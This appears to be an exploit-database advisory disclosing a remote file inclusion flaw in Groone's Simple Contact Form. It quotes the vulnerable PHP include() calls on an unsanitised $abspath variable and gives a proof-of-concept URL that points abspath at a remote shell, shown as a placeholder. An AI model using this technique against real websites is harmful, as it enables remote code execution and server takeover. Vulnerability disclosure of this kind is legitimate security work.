Groone's Simple Contact Form Remote File Inclusion

`=====================================================================  
Groone's Simple Contact Form (abspath) RFI Vulnerability  
=====================================================================  
  
1-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=0  
0 _ __ __ __ 1  
1 /' \ __ /'__`\ /\ \__ /'__`\ 0  
0 /\_, \ ___ /\_\/\_\ \ \ ___\ \ ,_\/\ \/\ \ _ ___ 1  
1 \/_/\ \ /' _ `\ \/\ \/_/_\_<_ /'___\ \ \/\ \ \ \ \/\`'__\ 0  
0 \ \ \/\ \/\ \ \ \ \/\ \ \ \/\ \__/\ \ \_\ \ \_\ \ \ \/ 1  
1 \ \_\ \_\ \_\_\ \ \ \____/\ \____\\ \__\\ \____/\ \_\ 0  
0 \/_/\/_/\/_/\ \_\ \/___/ \/____/ \/__/ \/___/ \/_/ 1  
1 \ \____/ >> Exploit database separated by exploit 0  
0 \/___/ type (local, remote, DoS, etc.) 1  
1 1  
0 [+] Site : Inj3ct0r.com 0  
1 [+] Support e-mail : submit[at]inj3ct0r.com 1  
0 0  
1 ######################################## 1  
0 I'm eidelweiss member from Inj3ct0r Team 1  
1 ######################################## 0  
0-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-==-=-=-1  
  
Vendor: www.groonesworld.com  
download: http://www.groonesworld.com/programs/contact/contact.zip  
Author: eidelweiss  
Contact: g1xsystem[at]windowslive.com  
  
=====================================================================  
  
Description:  
  
Groone's World Development is a site dedicated to open source development; offering a wide range of mostly free php scripts that will meet your needs.   
  
  
-=[ Vuln Code ]=-  
  
  
[-] path/contact/contact.php  
-----------------------------------------------------------------------------------  
  
<?php  
$abspath = "/home/user/public_html/contact/";  
  
/*   
This is groones contact form. It's a script that allows people to put a simple contact form on their website  
It can be downloaded from http://www.groonesworld.com/  
License: GPL  
  
Thank you, Russell H. Bennett, Jr.  
*/  
  
include($abspath.'inc/settings.inc.php'); // <= 1  
  
--------  
  
function mailok($usermsg) {  
global $abspath;  
include($abspath."inc/badwords.inc.php"); // <= 2  
  
$usermsg = strtoupper($usermsg);  
$tmpbad = strtoupper($badwords);  
$badwords = explode(",",$tmpbad);  
$ding = "GOOD";  
$i = 0;  
-----------------------------------------------------------------------------------  
  
-=[ P0C ]=-  
  
http://127.0.0.1/path/contact/contact.php?abspath= [inj3ct0r sh3ll]  
  
=========================| -=[ E0F ]=- |=========================  
`